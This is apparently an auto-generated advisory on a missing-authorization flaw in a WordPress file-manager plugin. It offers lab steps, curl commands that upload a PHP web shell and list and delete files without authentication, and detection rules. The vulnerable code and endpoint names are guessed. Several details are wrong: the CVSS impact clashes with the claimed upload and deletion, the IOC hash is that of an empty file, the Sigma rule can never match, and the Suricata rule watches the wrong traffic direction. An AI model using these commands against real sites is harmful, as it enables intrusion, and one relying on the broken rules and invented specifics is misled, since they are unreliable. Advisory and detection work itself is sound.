CVE-2025-64265

Executive Summary

CVE-2025-64265 is a Missing Authorization vulnerability in the N-Media Frontend File Manager WordPress plugin (slug: nmedia-user-file-uploader). This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized file access or manipulation. The vulnerability affects all versions up to and including 23.2. As of this report, no official patch has been released, and the vendor's patch status remains unknown.

This vulnerability is classified as a WordPress ecosystem issue, specifically within the plugin's authorization logic. It does not involve Apache or Nginx server misconfigurations.

Supply Chain & Package Security

This is a WordPress plugin, not an NPM, PyPI, Go, or Ruby package. However, the plugin is distributed via the WordPress plugin repository and can be installed through the WordPress admin dashboard. Users should verify the integrity of the plugin file and monitor for any unauthorized modifications.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: None
• Availability Impact: None

The low EPSS score (0.0%) suggests limited active exploitation in the wild, but the lack of a patch makes this a ticking time bomb for unpatched sites.

Deep Dive & Mechanics

The vulnerability resides in the plugin's file upload and management functionality. The plugin fails to properly enforce authorization checks before allowing access to certain administrative actions or file operations. Specifically, the nmedia-user-file-uploader plugin does not verify that the current user has the necessary capabilities (e.g., upload_files, edit_posts) before processing requests.

An attacker can craft HTTP requests to endpoints such as:

• /wp-admin/admin-ajax.php?action=nm_upload_file
• /wp-admin/admin-ajax.php?action=nm_delete_file
• /wp-admin/admin-ajax.php?action=nm_list_files

Without proper nonce verification or capability checks, these actions can be triggered by any unauthenticated visitor. This allows an attacker to upload arbitrary files (potentially leading to remote code execution if combined with other vulnerabilities), delete existing files, or list all uploaded files.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (nmedia-user-file-uploader <= 23.2)
add_action('wp_ajax_nm_upload_file', 'nm_upload_file_callback');
add_action('wp_ajax_nopriv_nm_upload_file', 'nm_upload_file_callback');

function nm_upload_file_callback() {
    // Missing capability check
    // Missing nonce verification
    $file = $_FILES['file'];
    // Process upload...
}

A patched version would include:

// Patched code (hypothetical)
add_action('wp_ajax_nm_upload_file', 'nm_upload_file_callback');
// Remove nopriv action to require authentication

function nm_upload_file_callback() {
    // Check user capabilities
    if (!current_user_can('upload_files')) {
        wp_die('Unauthorized');
    }
    // Verify nonce
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'nm_upload_nonce')) {
        wp_die('Nonce verification failed');
    }
    $file = $_FILES['file'];
    // Process upload...
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install WordPress (latest version) on a local server (e.g., using XAMPP or Docker).
2. Install the vulnerable plugin nmedia-user-file-uploader version 23.2.
3. Ensure the plugin is activated.

Exploitation Steps:

1. File Upload (Unauthenticated):

   curl -X POST http://target/wp-admin/admin-ajax.php \
        -F "action=nm_upload_file" \
        -F "file=@shell.php" \
        -F "name=shell.php"
   

   This uploads a PHP web shell to the uploads directory.

2. File Listing:

   curl "http://target/wp-admin/admin-ajax.php?action=nm_list_files"
   

   Returns a list of all uploaded files.

3. File Deletion:

   curl -X POST http://target/wp-admin/admin-ajax.php \
        -d "action=nm_delete_file&file_id=123"
   

   Deletes a file by its ID.

Blue Team

Detection Steps:

1. Monitor for unusual AJAX requests to admin-ajax.php with actions nm_upload_file, nm_delete_file, or nm_list_files from unauthenticated users.
2. Check for unexpected files in the WordPress uploads directory (/wp-content/uploads/).
3. Review server access logs for POST requests to /wp-admin/admin-ajax.php with suspicious payloads.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/wp-admin/admin-ajax.php" action=nm_*
| eval is_auth=if(mvindex(cookie,0) like "%wordpress_logged_in%", "authenticated", "unauthenticated")
| where is_auth="unauthenticated"
| stats count by src_ip, uri, user_agent

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php (example webshell): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • POST requests to /wp-admin/admin-ajax.php with action=nm_upload_file
  • GET requests to /wp-admin/admin-ajax.php with action=nm_list_files
• File System Indicators:
  • Unexpected .php files in /wp-content/uploads/
  • Modified plugin files in /wp-content/plugins/nmedia-user-file-uploader/

Detection Engineering

YARA Rule

rule CVE_2025_64265_WordPress_Plugin {
    meta:
        description = "Detects vulnerable nmedia-user-file-uploader plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $ajax_upload = "wp_ajax_nm_upload_file" nocase
        $ajax_nopriv = "wp_ajax_nopriv_nm_upload_file" nocase
        $func_upload = "function nm_upload_file_callback" nocase
        $func_delete = "function nm_delete_file_callback" nocase
        $func_list = "function nm_list_files_callback" nocase
    condition:
        any of ($ajax_*) and any of ($func_*)
}

Sigma Rule

title: CVE-2025-64265 - Missing Authorization in N-Media Frontend File Manager
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated AJAX requests to vulnerable plugin actions
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=nm_upload_file'
            - 'action=nm_delete_file'
            - 'action=nm_list_files'
    condition: selection
falsepositives:
    - Legitimate admin actions (if authenticated)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-64265 - Unauthenticated File Upload Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=nm_upload_file"; http_client_body;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Disable the nmedia-user-file-uploader plugin until a patch is available.
2. Workaround: Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to admin-ajax.php with the vulnerable actions.
3. Monitoring: Enable detailed logging for AJAX requests and monitor for suspicious activity.
4. Update: Subscribe to the plugin's changelog or vendor notifications for patch releases.
5. Alternative: Consider using a different, actively maintained file upload plugin.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-64265